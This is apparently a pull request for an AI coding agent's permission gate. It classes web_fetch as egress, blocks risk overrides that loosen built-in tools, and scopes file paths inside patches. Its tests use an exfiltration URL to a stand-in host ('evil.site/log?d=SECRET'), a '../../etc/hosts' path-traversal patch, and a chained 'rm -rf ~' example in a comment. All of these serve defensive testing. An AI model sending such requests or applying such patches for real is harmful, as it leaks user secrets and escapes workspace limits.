PR1: split egress out of READ, stop override downgrades, scope patch writes

Three gate defects, each verified by direct execution before and after.

1. web_fetch was RiskClass.READ, so is_consequential() was False and evaluate()
   returned allow on its third rung -- before any rule, mode or PDP, in EVERY
   mode including plan/discuss. A URL's query string carries data outbound, so
   this was an ungated egress path. New RiskClass.EGRESS covers model-chosen
   network reads; web_search stays READ (fixed configured provider, not a
   model-chosen host). Adds an allowed_domains allowlist (exact host or
   subdomain; 'evil-python.org' never matches 'python.org'), a session-scoped
   "always allow this domain" grant, and ApprovalOutcome.ALWAYS_DOMAIN.

2. A risk override could DOWNGRADE a built-in: marking write_file as read made
   is_write False (skipping path scoping) and consequential False (skipping the
   read-only gate) at once -- one settings line disabling two protections, in
   every future session. Overrides may now only tighten a built-in write/exec/
   egress tool; relaxing a metadata/MCP tool (the intended use) still works.

3. Path scoping read a literal "path" argument, so apply_patch and
   apply_unified_diff -- whose paths live inside the patch/diff blob -- were
   never scoped at all. write_paths() extracts them from the blob and scopes
   every one; a write whose path cannot be located now fails closed to approval
   rather than slipping through auto/custom unscoped.

allowed_domains is user-global only, alongside auto_allow: a cloned repo must
not be able to widen the agent's network reach.

Golden matrix: web_fetch interactive allow->ask, plan allow->deny, plus new
egress/patch rows (31 rows green). test_permissions_risk's override test
asserted the old downgrade behavior and is updated to the tightening rule.
Full suite: 22 failures, all pre-existing on the unmodified tree (boto3 absent,
Windows symlink privilege, Slack socket timeouts) -- none introduced here.

Design of record: ocw-context/docs/reviewed-auto-mode.md Part 3.

coworker/agent.py

@@ -403,6 +403,7 @@ def build_engine(
             allowed_commands if allowed_commands is not None else config.allowed_commands
         ),
         auto_allow_tools=set(config.auto_allow),
+        allowed_domains=list(config.allowed_domains),
         roots=root_list or None,
         risk_overrides=risk_overrides,
     )

coworker/config.py

@@ -38,6 +38,10 @@ class Config:
     # In "custom" permission mode, these tools are auto-approved (e.g. file edits)
     # while everything else still asks.
     auto_allow: list[str] = field(default_factory=list)
+    # Egress destinations `web_fetch` may reach WITHOUT an approval prompt (exact host or
+    # subdomain). Empty by default — the first fetch to any host asks. A power-user opt-in,
+    # like `allowed_commands`; user-global only, so a repo can't widen the agent's network reach.
+    allowed_domains: list[str] = field(default_factory=list)
     host: str = "127.0.0.1"
     port: int = 8765
     # Web search provider: "duckduckgo" (keyless default) | "tavily" | "brave" (need a key).
@@ -67,6 +71,7 @@ _FIELDS = {
     "max_iterations",
     "allowed_commands",
     "auto_allow",
+    "allowed_domains",
     "host",
     "port",
     "web_search_provider",
@@ -79,8 +84,9 @@ _FIELDS = {
 
 # These fields change what consequential actions can run without a prompt, so the normal
 # workspace override pass never applies them. `allowed_commands` is added separately only
-# for a canonically trusted workspace; `auto_allow` remains user-global only.
-_GLOBAL_ONLY_FIELDS = {"allowed_commands", "auto_allow"}
+# for a canonically trusted workspace; `auto_allow` and `allowed_domains` remain user-global
+# only (a repo must not be able to widen the agent's command or network reach).
+_GLOBAL_ONLY_FIELDS = {"allowed_commands", "auto_allow", "allowed_domains"}
 _WORKSPACE_FIELDS = _FIELDS - _GLOBAL_ONLY_FIELDS
 
 

coworker/engine.py

@@ -31,6 +31,7 @@ class ApprovalOutcome(str, Enum):
     ONCE = "once"
     ALWAYS_TOOL = "always_tool"
     ALWAYS_COMMAND = "always_command"
+    ALWAYS_DOMAIN = "always_domain"
     DENY = "deny"
 
 
@@ -745,6 +746,10 @@ class TurnEngine:
                     self.permissions.allow_command_for_session(
                         str(tool_call.arguments.get("command", ""))
                     )
+                elif outcome is ApprovalOutcome.ALWAYS_DOMAIN:
+                    self.permissions.allow_domain_for_session(
+                        str(tool_call.arguments.get("url", ""))
+                    )
                 allowed, reason = True, "approved by user"
                 self._audit(
                     tool_call,

coworker/permissions.py

@@ -8,11 +8,13 @@ prefixes) and a session allowlist. The engine only *decides*; the turn engine ro
 
 from __future__ import annotations
 
+import re
 import shlex
 from dataclasses import dataclass, field
 from enum import Enum
 from pathlib import Path
 from typing import Any, Optional
+from urllib.parse import urlsplit
 
 # Shell metacharacters that turn one "allowlisted" command into several. Any of these in a
 # command disqualifies it from allowlist auto-run — approval is required instead. Covers
@@ -24,6 +26,53 @@ _SHELL_OPERATORS = (";", "&", "|", ">", "<", "`", "$(", "(", "\n", "\r")
 def _has_shell_operators(command: str) -> bool:
     return any(op in command for op in _SHELL_OPERATORS)
 
+
+def _host_of(url_or_domain: str) -> str:
+    """The lowercased host of a URL, or a bare domain as-is. `''` when there's nothing
+    usable. Accepts both `https://docs.python.org/x` and `docs.python.org`."""
+    s = (url_or_domain or "").strip().lower()
+    if not s:
+        return ""
+    if "://" in s:
+        return urlsplit(s).hostname or ""
+    return urlsplit("//" + s).hostname or s
+
+
+# The argument that names a write tool's target path, when it's a single top-level field.
+# Patch/diff tools carry their paths inside the blob instead — extracted in `write_paths`.
+_PATH_ARG: dict[str, str] = {"write_file": "path", "replace_in_file": "path"}
+# apply_patch (Codex format) file headers, and unified-diff `+++ b/<path>` headers.
+_APPLY_PATCH_FILE = re.compile(
+    r"^\*\*\* (?:Add|Update|Delete) File: (.+)$", re.MULTILINE
+)
+_APPLY_PATCH_MOVE = re.compile(r"^\*\*\* Move to: (.+)$", re.MULTILINE)
+_UNIFIED_DIFF_FILE = re.compile(r"^\+\+\+ (?:b/)?(.+?)\s*$", re.MULTILINE)
+
+
+def write_paths(tool_name: str, arguments: dict[str, Any]) -> tuple[list[str], bool]:
+    """Every filesystem path a write tool would touch, for root scoping.
+
+    Returns ``(paths, located)``. ``located`` is False when the path can't be determined
+    (an unknown write tool, or a patch/diff blob with no parseable file header) — the caller
+    must then fail closed rather than skip scoping, so an unscoped write can't slip through
+    auto/custom mode.
+    """
+    arg = _PATH_ARG.get(tool_name)
+    if arg is not None:
+        value = arguments.get(arg)
+        return ([str(value)], True) if value else ([], False)
+    if tool_name == "apply_patch":
+        blob = str(arguments.get("patch", ""))
+        paths = _APPLY_PATCH_FILE.findall(blob) + _APPLY_PATCH_MOVE.findall(blob)
+        return ([p.strip() for p in paths], bool(paths))
+    if tool_name == "apply_unified_diff":
+        blob = str(arguments.get("diff", ""))
+        paths = [p for p in _UNIFIED_DIFF_FILE.findall(blob) if p and p != "/dev/null"]
+        return (paths, bool(paths))
+    # Unknown write tool (e.g. one promoted to write via a user override): we cannot locate
+    # its path, so it cannot be auto-scoped.
+    return ([], False)
+
 from .risk import (  # re-exported for back-compat (manager.py imports WRITE_TOOLS)
     SHELL_TOOL,
     WRITE_TOOLS,
@@ -88,6 +137,11 @@ class PermissionEngine:
     auto_allow_tools: set[str] = field(default_factory=set)
     session_allow_tools: set[str] = field(default_factory=set)
     session_allow_commands: set[str] = field(default_factory=set)
+    # Egress domains that auto-run without a prompt: `allowed_domains` from user config, plus
+    # `session_allow_domains` minted by "Always allow this domain". Matched by exact host or
+    # subdomain suffix (see `_domain_allowed`).
+    allowed_domains: list[str] = field(default_factory=list)
+    session_allow_domains: set[str] = field(default_factory=set)
     # Task-scoped standing rules (§25): {tool: {allowed targets}}, seeded from the owning
     # ScheduledTask's target-shaped entries. Kept by reference and re-read every check, so a
     # rule minted mid-run ("Allow every time") applies to the run's next call too.
@@ -125,6 +179,7 @@ class PermissionEngine:
         risk = classify(tool_name, metadata, self.risk_overrides)
         is_write = risk is RiskClass.WRITE_LOCAL
         is_shell = risk is RiskClass.EXEC
+        is_egress = risk is RiskClass.EGRESS
         consequential = is_consequential(risk)
 
         # Discuss / plan modes: read-only.
@@ -133,11 +188,22 @@ class PermissionEngine:
                 False, f"{self.mode.value} mode is read-only", needs_user=False
             )
 
-        # Path scoping for writes that name a path (all modes): must land in a writable root.
+        # Path scoping for writes (all modes): every path the write touches must land in a
+        # writable root. A write whose path can't be located is not scoped-able, so it fails
+        # closed to approval rather than slipping through auto/custom unscoped.
         if is_write:
-            path = arguments.get("path")
-            if path is not None and not self._under_writable_root(path):
-                return Decision(False, f"path is not in a writable directory: {path}")
+            paths, located = write_paths(tool_name, arguments)
+            if not located:
+                return Decision(
+                    False,
+                    "cannot determine the write path to scope",
+                    needs_user=True,
+                )
+            for path in paths:
+                if not self._under_writable_root(path):
+                    return Decision(
+                        False, f"path is not in a writable directory: {path}"
+                    )
 
         # Non-consequential tools always run.
         if not consequential:
@@ -154,6 +220,10 @@ class PermissionEngine:
                 return Decision(True, "command on allowlist")
             if command and command in self.session_allow_commands:
                 return Decision(True, "command allowed for session")
+        if is_egress:
+            url = str(arguments.get("url", ""))
+            if self._domain_allowed(url):
+                return Decision(True, "domain on allowlist")
         if tool_name in self.session_allow_tools and not is_connector:
             return Decision(True, "tool allowed for session")
 
@@ -185,6 +255,12 @@ class PermissionEngine:
         if command:
             self.session_allow_commands.add(command)
 
+    def allow_domain_for_session(self, url_or_domain: str) -> None:
+        """Remember an egress destination for this session ("Always allow this domain")."""
+        host = _host_of(url_or_domain)
+        if host:
+            self.session_allow_domains.add(host)
+
     # -- helpers ----------------------------------------------------------------
     def _candidate(self, path: str) -> Path:
         # Relative paths resolve against the primary (workspace_root); absolute/`~` taken as-is.
@@ -213,6 +289,20 @@ class PermissionEngine:
                 continue
         return False
 
+    def _domain_allowed(self, url: str) -> bool:
+        """True when the URL's host is an allowed egress destination — an exact match or a
+        subdomain of an allowed domain (so `docs.python.org` matches `python.org`, but
+        `evil-python.org` never matches `python.org`)."""
+        host = _host_of(url)
+        if not host:
+            return False
+        allowed = {d for d in (_host_of(x) for x in self.allowed_domains) if d}
+        allowed |= self.session_allow_domains
+        for dom in allowed:
+            if host == dom or host.endswith("." + dom):
+                return True
+        return False
+
     def _command_allowed(self, command: str) -> bool:
         # An allowlist entry auto-runs a command WITHOUT approval, so prefix matching is
         # unsafe: `git status` would auto-approve `git status && rm -rf ~`. Reject anything

coworker/risk.py

@@ -17,6 +17,7 @@ from typing import Any, Callable, Optional
 
 class RiskClass(str, Enum):
     READ = "read"  # no side effects — always allowed
+    EGRESS = "egress"  # reaches the network — the request itself can carry data off-machine
     WRITE_LOCAL = "write_local"  # mutates the workspace — path-scoped + mode-gated
     EXEC = "exec"  # runs commands — mode-gated
     EXTERNAL = "external"  # side effects off the machine — the unattended Inbox hook
@@ -25,27 +26,47 @@ class RiskClass(str, Enum):
 # Built-in tools whose risk is fixed by name (the old WRITE_TOOLS / SHELL_TOOL, as data).
 WRITE_TOOLS = {"write_file", "replace_in_file", "apply_patch", "apply_unified_diff"}
 SHELL_TOOL = "run_shell"
+# Model-chosen network reads. `web_fetch` takes a URL straight from the model and the URL's
+# query string can carry data outbound, so it is NOT a pure read — it must reach the gate.
+# `web_search` stays READ: it hits a fixed configured provider, not a model-chosen host.
+EGRESS_TOOLS = {"web_fetch"}
 
 _BASE: dict[str, RiskClass] = {
     **{name: RiskClass.WRITE_LOCAL for name in WRITE_TOOLS},
     SHELL_TOOL: RiskClass.EXEC,
+    **{name: RiskClass.EGRESS for name in EGRESS_TOOLS},
+}
+
+# How much attention each class demands, for the override-tightening rule below. Higher =
+# stricter. EXEC and WRITE_LOCAL are the crown jewels (path scoping / command gating).
+_STRICTNESS: dict[RiskClass, int] = {
+    RiskClass.READ: 0,
+    RiskClass.EGRESS: 1,
+    RiskClass.EXTERNAL: 2,
+    RiskClass.WRITE_LOCAL: 3,
+    RiskClass.EXEC: 3,
 }
 
 # A user-local override resolver: tool name -> RiskClass (or None to defer to the base).
-# Wired in Phase 2 (mainly to relax MCP's conservative default); always None until then.
 RiskOverrides = Callable[[str], Optional["RiskClass"]]
 
 
 def classify(
     tool_name: str, metadata: Any = None, overrides: Optional[RiskOverrides] = None
 ) -> RiskClass:
-    """Effective risk of a tool call. ``overrides`` (user-local) wins, then the by-name base
-    table, then aisuite metadata (`requires_approval` → external), else read."""
+    """Effective risk of a tool call. A user override may *relax* a metadata/MCP tool (the
+    intended use — quieting an over-cautious plug-in), but may only ever **tighten** a
+    built-in write/exec/egress tool, never loosen it. Downgrading a built-in write to a read
+    would switch off path scoping AND the read-only gate at once, so it is refused here.
+    Precedence otherwise: the by-name base table, then aisuite metadata
+    (`requires_approval` → external), else read."""
+    base = _BASE.get(tool_name)
     if overrides is not None:
         ov = overrides(tool_name)
         if ov is not None:
+            if base is None or _STRICTNESS[ov] >= _STRICTNESS[base]:
                 return ov
-    base = _BASE.get(tool_name)
+            # A loosening override on a built-in is ignored: fall through to the base class.
     if base is not None:
         return base
     if bool(getattr(metadata, "requires_approval", False)):

tests/corpora/decision_matrix.csv

@@ -23,5 +23,10 @@ connector-write,interactive,gmail_send,{},external,,,,,,,ask,connector write ask
 connector-always-ignored,interactive,gmail_send,{},external,,gmail_send,,,,,ask,session tool grant deliberately ignored for connectors
 standing-match,interactive,send_message,"{""target"": ""slack:T1/C1"", ""text"": ""hi""}",external,,,,send_message slack:T1/C1,,,allow,standing rule matches the exact target
 standing-mismatch,interactive,send_message,"{""target"": ""slack:T1/C2"", ""text"": ""hi""}",external,,,,send_message slack:T1/C1,,,ask,standing rule does not cover a different target
-webfetch-interactive,interactive,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,allow,BASELINE-WRONG web_fetch classed as read so never gates
-webfetch-plan,plan,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,allow,BASELINE-WRONG web_fetch runs even in read-only plan mode
+webfetch-interactive,interactive,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,ask,FIXED-PR1 web_fetch is egress so now asks in interactive
+webfetch-plan,plan,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,deny,FIXED-PR1 egress is not a read so plan mode blocks it
+webfetch-auto,auto,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,allow,auto allows egress
+webfetch-allowed-domain,interactive,web_fetch,"{""url"": ""https://docs.python.org/3/x""}",,,,,,,python.org,allow,egress to a config-allowed domain (subdomain match)
+webfetch-session-domain,interactive,web_fetch,"{""url"": ""https://api.github.com/x""}",,,,,,,,ask,egress to an unlisted domain still asks
+patch-escape,auto,apply_patch,"{""patch"": ""*** Begin Patch\n*** Update File: ../../etc/hosts\n@@\n-a\n+b\n*** End Patch""}",,,,,,,,deny,FIXED-PR1 apply_patch path extracted from blob and scoped even in auto
+patch-inroot,auto,apply_patch,"{""patch"": ""*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch""}",,,,,,,,allow,apply_patch to an in-root path allowed in auto

tests/test_egress_and_overrides.py

@@ -0,0 +1,116 @@
+"""PR1 — egress split, override tightening, and write-path scoping.
+
+Covers the parts of the golden matrix that need a configured override resolver or exercise
+the helpers directly. See `ocw-context/docs/reviewed-auto-mode.md` Part 3.
+"""
+
+from __future__ import annotations
+
+from pathlib import Path
+
+import pytest
+
+from coworker.permissions import Mode, PermissionEngine, write_paths
+from coworker.risk import RiskClass, classify
+
+
+# -- egress classification ------------------------------------------------------
+def test_web_fetch_is_egress_not_read():
+    assert classify("web_fetch") is RiskClass.EGRESS
+    # web_search stays a read: it hits a fixed configured provider, not a model-chosen host.
+    assert classify("web_search") is RiskClass.READ
+
+
+@pytest.mark.parametrize(
+    "mode,expected_needs_user,expected_allowed",
+    [
+        (Mode.INTERACTIVE, True, False),  # asks
+        (Mode.CUSTOM, True, False),  # asks
+        (Mode.PLAN, False, False),  # denied (read-only, egress is not a read)
+        (Mode.DISCUSS, False, False),  # denied
+        (Mode.AUTO, False, True),  # allowed
+    ],
+)
+def test_web_fetch_gated_in_every_mode(tmp_path, mode, expected_needs_user, expected_allowed):
+    eng = PermissionEngine(workspace_root=tmp_path, mode=mode)
+    d = eng.evaluate("web_fetch", {"url": "https://evil.site/log?d=SECRET"}, None)
+    assert d.allowed is expected_allowed
+    assert d.needs_user is expected_needs_user
+
+
+def test_egress_domain_allowlist_subdomain_match(tmp_path):
+    eng = PermissionEngine(workspace_root=tmp_path, allowed_domains=["python.org"])
+    assert eng.evaluate("web_fetch", {"url": "https://docs.python.org/3"}, None).allowed
+    # a look-alike that merely ends with the string must NOT match
+    assert not eng.evaluate("web_fetch", {"url": "https://evil-python.org/x"}, None).allowed
+
+
+def test_egress_session_domain_grant(tmp_path):
+    eng = PermissionEngine(workspace_root=tmp_path)
+    assert eng.evaluate("web_fetch", {"url": "https://api.github.com/x"}, None).needs_user
+    eng.allow_domain_for_session("https://api.github.com/anything")
+    assert eng.evaluate("web_fetch", {"url": "https://api.github.com/x"}, None).allowed
+
+
+# -- override tightening --------------------------------------------------------
+def _override(mapping):
+    return lambda name: mapping.get(name)
+
+
+def test_override_cannot_downgrade_builtin_write(tmp_path):
+    # A user override marking write_file as a harmless read must be ignored: path scoping
+    # and the read-only gate both key off the class, so a downgrade would switch off both.
+    ov = _override({"write_file": RiskClass.READ})
+    assert classify("write_file", None, ov) is RiskClass.WRITE_LOCAL
+
+    eng = PermissionEngine(workspace_root=tmp_path, mode=Mode.PLAN, risk_overrides=ov)
+    d = eng.evaluate("write_file", {"path": "../../escape.txt", "content": "x"}, None)
+    assert not d.allowed  # still blocked; the downgrade did nothing
+
+
+def test_override_can_still_relax_a_plugin_tool(tmp_path):
+    # The intended use survives: a non-built-in (MCP) tool defaulting to external can be
+    # relaxed to read.
+    from types import SimpleNamespace
+
+    ov = _override({"mcp__notion__search": RiskClass.READ})
+    meta = SimpleNamespace(requires_approval=True, category="mcp")
+    assert classify("mcp__notion__search", meta, ov) is RiskClass.READ
+
+
+def test_override_may_tighten(tmp_path):
+    # Tightening a plugin read up to exec is honoured.
+    ov = _override({"mcp__x__run": RiskClass.EXEC})
+    assert classify("mcp__x__run", None, ov) is RiskClass.EXEC
+
+
+# -- write-path extraction / scoping -------------------------------------------
+def test_write_paths_simple_tools():
+    assert write_paths("write_file", {"path": "a.txt"}) == (["a.txt"], True)
+    assert write_paths("replace_in_file", {"path": "b.py"}) == (["b.py"], True)
+    # a write tool with no locatable path → not located → caller fails closed
+    assert write_paths("write_file", {}) == ([], False)
+
+
+def test_write_paths_from_patch_blob():
+    patch = "*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch"
+    assert write_paths("apply_patch", {"patch": patch}) == (["src/app.py"], True)
+    diff = "--- a/old.py\n+++ b/new.py\n@@\n-a\n+b"
+    assert write_paths("apply_unified_diff", {"diff": diff}) == (["new.py"], True)
+
+
+def test_unknown_write_tool_fails_closed(tmp_path):
+    # A tool promoted to write via an override, whose path we can't locate, must not slip
+    # through auto mode unscoped — it asks instead.
+    ov = _override({"weird_writer": RiskClass.WRITE_LOCAL})
+    eng = PermissionEngine(workspace_root=tmp_path, mode=Mode.AUTO, risk_overrides=ov)
+    d = eng.evaluate("weird_writer", {"blob": "..."}, None)
+    assert not d.allowed and d.needs_user
+
+
+def test_patch_scoping_holds_in_auto_mode(tmp_path):
+    eng = PermissionEngine(workspace_root=tmp_path, mode=Mode.AUTO)
+    escape = "*** Begin Patch\n*** Update File: ../../etc/hosts\n@@\n-a\n+b\n*** End Patch"
+    assert not eng.evaluate("apply_patch", {"patch": escape}, None).allowed
+    ok = "*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch"
+    assert eng.evaluate("apply_patch", {"patch": ok}, None).allowed

tests/test_permissions_risk.py

@@ -46,15 +46,23 @@ def test_is_consequential():
     assert is_consequential(RiskClass.EXTERNAL)
 
 
-def test_overrides_win_over_base_and_metadata():
-    # A user-local override beats both the by-name base table and the metadata fallback.
+def test_overrides_relax_metadata_but_never_downgrade_a_builtin():
+    # A user-local override may relax a metadata/MCP tool (the intended use)...
     relax = lambda n: RiskClass.READ if n in {"write_file", "mcp_tool"} else None
-    assert classify("write_file", None, relax) == RiskClass.READ  # downgrade a write
     assert classify("mcp_tool", EXTERNAL_META, relax) == RiskClass.READ  # relax MCP
+    # ...but must NEVER loosen a built-in write/exec/egress tool: downgrading write_file to
+    # read would switch off path scoping AND the read-only gate, so the override is ignored.
+    assert classify("write_file", None, relax) == RiskClass.WRITE_LOCAL
     # Non-matching names fall through to the base/metadata classification.
     assert classify("run_shell", None, relax) == RiskClass.EXEC
 
 
+def test_overrides_may_tighten_a_builtin():
+    # Tightening is fine — only loosening a built-in is refused.
+    tighten = lambda n: RiskClass.EXEC if n == "write_file" else None
+    assert classify("write_file", None, tighten) == RiskClass.EXEC
+
+
 # -- PermissionEngine driven by risk class --------------------------------------
 def test_read_always_allowed(tmp_path):
     eng = PermissionEngine(workspace_root=tmp_path)